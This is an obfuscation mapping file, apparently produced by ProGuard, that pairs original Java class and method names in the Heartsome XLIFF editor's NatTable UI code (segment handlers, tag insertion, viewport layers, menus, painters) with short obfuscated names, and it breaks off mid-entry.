+net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.CopySourceHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.k: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.CustomMatchContributionItem -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.l: + void fill(org.eclipse.swt.widgets.Menu,int) -> fill + boolean isDynamic() -> isDynamic +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.CustomMatchContributionItem$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.m: + net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.CustomMatchContributionItem this$0 -> Zo + java.lang.String val$xpath -> Zp + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.CustomMatchHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.n: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.DeleteAllSegmentNoteHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.o: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.DeleteAllSegmentTranslationsHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.q: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.DeleteCurrentSegmentAltTransHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.p: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.DeleteSelectSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.s: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.DeleteSelectionSegmentNotesHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.t: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.DeleteSelectionSegmentTranslationsHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.u: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.DeleteToEndOrToTagHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.v: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.EditAllSourceTextHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.w: + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode getSourceEditMode(net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.EditCurrentSourceTextHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.x: + net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.SourceEditMode getSourceEditMode(net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor.EditableManager) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.EditSelectionSegmentNotesHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.y: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.MergeNextHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.z: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.MergePreviousHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.aa: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.MergeSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.ab: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.SplitSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.af: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void showInformation(org.eclipse.core.commands.ExecutionEvent,java.lang.String) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.UpdateDataAndAutoResizeCommandHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.ag: + org.slf4j.Logger LOGGER -> LOGGER + net.sourceforge.nattable.NatTable table -> XF + net.sourceforge.nattable.layer.DataLayer dataLayer -> Zu + boolean doCommand(net.sourceforge.nattable.edit.command.UpdateDataCommand) -> doCommand + java.lang.Class getCommandClass() -> getCommandClass + boolean doCommand(net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.VerticalMoveRowSelectionCommandHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.ah: + void moveLastSelectedUp(int,boolean,boolean) -> moveLastSelectedUp + void moveLastSelectedDown(int,boolean,boolean) -> moveLastSelectedDown +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptmatch.AcceptMatch1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptmatch.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptmatch.AcceptMatch2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptmatch.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptmatch.AcceptMatch3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptmatch.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm0 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.d: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.e: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.f: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm6 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.g: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm7 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.h: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm8 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.i: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.AcceptTerm9 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.acceptterm.j: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.export.ExportAsHtmlHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.export.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.export.ExportAsTextHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.export.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.export.ExportHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.export.c: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String PARAMETER_ID -> PARAMETER_ID + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + org.eclipse.jface.viewers.IStructuredSelection getSelectionToUse(org.eclipse.core.commands.ExecutionEvent) -> getSelectionToUse + org.eclipse.ui.IExportWizard getExportWizard(org.eclipse.core.commands.ExecutionEvent) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowFirstSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowLastSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowNextFuzzyHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowNextNoteHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.d: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowNextSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.e: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowNextUnapprovedHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.f: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowNextUntranslatableHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.g: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowNextUntranslatedHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.h: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowPreviousFuzzyHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.i: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowPreviousNoteHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.j: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowPreviousSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.k: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowPreviousUnapprovedHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.l: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowPreviousUntranslatableHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.m: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.ShowPreviousUntranslatedHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.go.n: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.AbstractInsertTagHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.a: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.StyledTextCellEditor cellEditor -> Zv + org.eclipse.core.commands.ExecutionEvent event -> Zw + int sourceMaxTagIndex -> Ge + org.eclipse.core.commands.ExecutionEvent getEvent() -> lu + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.DeleteAllTagsHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.InsertNextTagHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.d: + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagType -> aG + int getTagNum() -> lv + int getNextTagIndex() -> lw + int[] $SWITCH_TABLE$net$heartsome$cat$common$innertag$TagType() -> e +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.InsertNextTagHandler$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.e: + net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.InsertNextTagHandler this$0 -> Zx + int compare(net.heartsome.cat.common.ui.innertag.InnerTag,net.heartsome.cat.common.ui.innertag.InnerTag) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.InsertTagHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.f: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler0 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.g: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.h: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.i: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.j: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.k: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.l: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler6 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.m: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler7 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.n: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler8 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.o: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.QuickTagsHandler9 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.tags.p: + int getTagNum() -> lv +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.AddSegmentToTMHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.ApproveSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.DraftSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.f: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.LockSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.NeedReviewSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.g: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.NotSendToTMHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.h: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.SignedOffSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.d: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.SplitPointSettingHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.i: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.UnTranslatedSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.j: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.UnlockSegmentHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.translation.e: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.HorizontalViewportLayer -> net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.a: + net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.RowHeightCalculator rowHeightCalculator -> aly + void setRowHeightCalculator(net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.RowHeightCalculator) -> a + void moveRowPositionIntoViewport(int,boolean) -> moveRowPositionIntoViewport + boolean doCommand(net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.HorizontalViewportLayer$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.b: + net.sourceforge.nattable.viewport.ViewportLayer viewportLayer -> viewportLayer + net.sourceforge.nattable.layer.IUniqueIndexLayer scrollableLayer -> scrollableLayer + net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.HorizontalViewportLayer this$0 -> Zy + org.eclipse.swt.widgets.ScrollBar val$vBar -> Zz + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil -> net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.c: + int layoutX -> ZA + int layoutY -> ZB + void setBodyLayerPosition(int,int) -> g + net.sourceforge.nattable.layer.ILayer getLayer(net.sourceforge.nattable.NatTable,java.lang.Class) -> a + net.sourceforge.nattable.layer.ILayer getLayer(net.sourceforge.nattable.layer.CompositeLayer,java.lang.Class) -> a + int getLowerLayerRowPosition(net.sourceforge.nattable.NatTable,int,java.lang.Class) -> a + int getUpperLayerRowPosition(net.sourceforge.nattable.NatTable,int,java.lang.Class) -> b + int getColumnPositionByIndex(net.sourceforge.nattable.NatTable,int) -> a + int getRowPositionByIndex(net.sourceforge.nattable.NatTable,int) -> b +net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.RowHeightCalculator -> net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.g: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable$BodyLayerStack bodyLayer -> YA + net.sourceforge.nattable.NatTable table -> XF + int defaultRowheight -> alz + int recaculateRowHeight(int) -> am + int getPreferredRowHeight(int,net.sourceforge.nattable.config.IConfigRegistry,int) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.VerticalLayerRowHeaderLayer -> net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.d: + net.sourceforge.nattable.layer.cell.LayerCell getCellByPosition(int,int) -> getCellByPosition +net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.VerticalViewportLayer -> net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.e: + org.eclipse.swt.widgets.ScrollBar vBar -> ZC + net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.RowHeightCalculator rowHeightCalculator -> aly + void setRowHeightCalculator(net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.RowHeightCalculator) -> a + net.sourceforge.nattable.selection.command.MoveSelectionCommand scrollVerticallyByAPageCommand(net.sourceforge.nattable.selection.command.ScrollSelectionCommand) -> scrollVerticallyByAPageCommand + void moveRowPositionIntoViewport(int,boolean) -> moveRowPositionIntoViewport + boolean doCommand(net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.VerticalViewportLayer$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.f: + net.sourceforge.nattable.layer.IUniqueIndexLayer scrollableLayer -> scrollableLayer + net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.VerticalViewportLayer this$0 -> ZF + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.BodyMenuConfiguration -> net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.a: + org.eclipse.swt.widgets.Menu bodyMenu -> ZG + net.sourceforge.nattable.NatTable table -> XF + net.sourceforge.nattable.NatTable getNatTable() -> getNatTable + void configureUiBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureUiBindings + void createMenu() -> createMenu + org.eclipse.swt.widgets.Menu getMenu() -> getMenu + net.sourceforge.nattable.NatTable access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.BodyMenuConfiguration) -> a + org.eclipse.swt.widgets.Menu access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.BodyMenuConfiguration) -> b +net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.BodyMenuConfiguration$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.b: + net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.BodyMenuConfiguration this$0 -> ZS + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.HeaderMenuConfiguration -> net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.r: + org.eclipse.swt.widgets.Menu colHeaderMenu -> ZU + void configureUiBindings(net.sourceforge.nattable.ui.binding.UiBindingRegistry) -> configureUiBindings + org.eclipse.swt.widgets.Menu access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.HeaderMenuConfiguration) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.HeaderMenuConfiguration$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.s: + net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.HeaderMenuConfiguration this$0 -> ZV + void menuShown(org.eclipse.swt.events.MenuEvent) -> menuShown + void menuHidden(org.eclipse.swt.events.MenuEvent) -> menuHidden +net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.HeaderMenuConfiguration$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.t: + net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.HeaderMenuConfiguration this$0 -> ZV + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.LineNumberPainter -> net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.a: + int getPreferredHeight(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredHeight + void paintCell(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.Rectangle,net.sourceforge.nattable.config.IConfigRegistry) -> paintCell + boolean checkSplit(net.sourceforge.nattable.layer.cell.LayerCell,net.sourceforge.nattable.config.IConfigRegistry) -> b +net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.StatusPainter -> net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.b: + boolean paintBg -> ZW + net.sourceforge.nattable.data.IRowDataProvider bodyDataProvider -> ZX + org.eclipse.swt.graphics.Color cellBackground -> ZY + java.lang.String machQuality -> ZZ + int getPreferredHeight(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,net.sourceforge.nattable.config.IConfigRegistry) -> getPreferredHeight + void paintCell(net.sourceforge.nattable.layer.cell.LayerCell,org.eclipse.swt.graphics.GC,org.eclipse.swt.graphics.Rectangle,net.sourceforge.nattable.config.IConfigRegistry) -> paintCell + java.util.List getImages(net.sourceforge.nattable.layer.cell.LayerCell,net.sourceforge.nattable.config.IConfigRegistry) -> c + void addImage(java.util.List,org.eclipse.swt.graphics.Image,int) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper -> net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.c: + java.lang.String FILE_SEPARATER -> aaa + java.lang.String[] IMAGE_DIRS -> aab + java.lang.String[] IMAGE_EXTENSIONS -> aac + java.util.Map images -> aad + org.eclipse.swt.graphics.Image getImage(net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName) -> a + org.eclipse.swt.graphics.Image createImage(net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName) -> b + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName -> net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.d: + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName APPROVE -> aae + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName TRANSLATED -> aaf + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName HAS_NOTE -> aag + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName DONT_ADDDB -> aah + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName HAS_QUESTION -> aai + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName DRAFT -> aaj + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName LOCKED -> aak + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName SINGED_OFF -> aal + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName SPLITPOINT -> aam + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName EMPTY -> aan + java.lang.String value -> value + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName[] ENUM$VALUES -> aao + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName getItem(java.lang.String) -> eE + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName[] values() -> ly + net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName valueOf(java.lang.String) -> eF + java.lang.String access$2(net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper$ImageName) -> c +net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.AddSegmentToTMPropertyTester -> net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.AddSegmentToTMPropertyTester: + java.lang.String PROPERTY_NAMESPACE -> PROPERTY_NAMESPACE + java.lang.String PROPERTY_ENABLED -> PROPERTY_ENABLED + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.DeleteToEndOrToTagPropertyTester -> net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.DeleteToEndOrToTagPropertyTester: + java.lang.String PROPERTY_NAMESPACE -> PROPERTY_NAMESPACE + java.lang.String 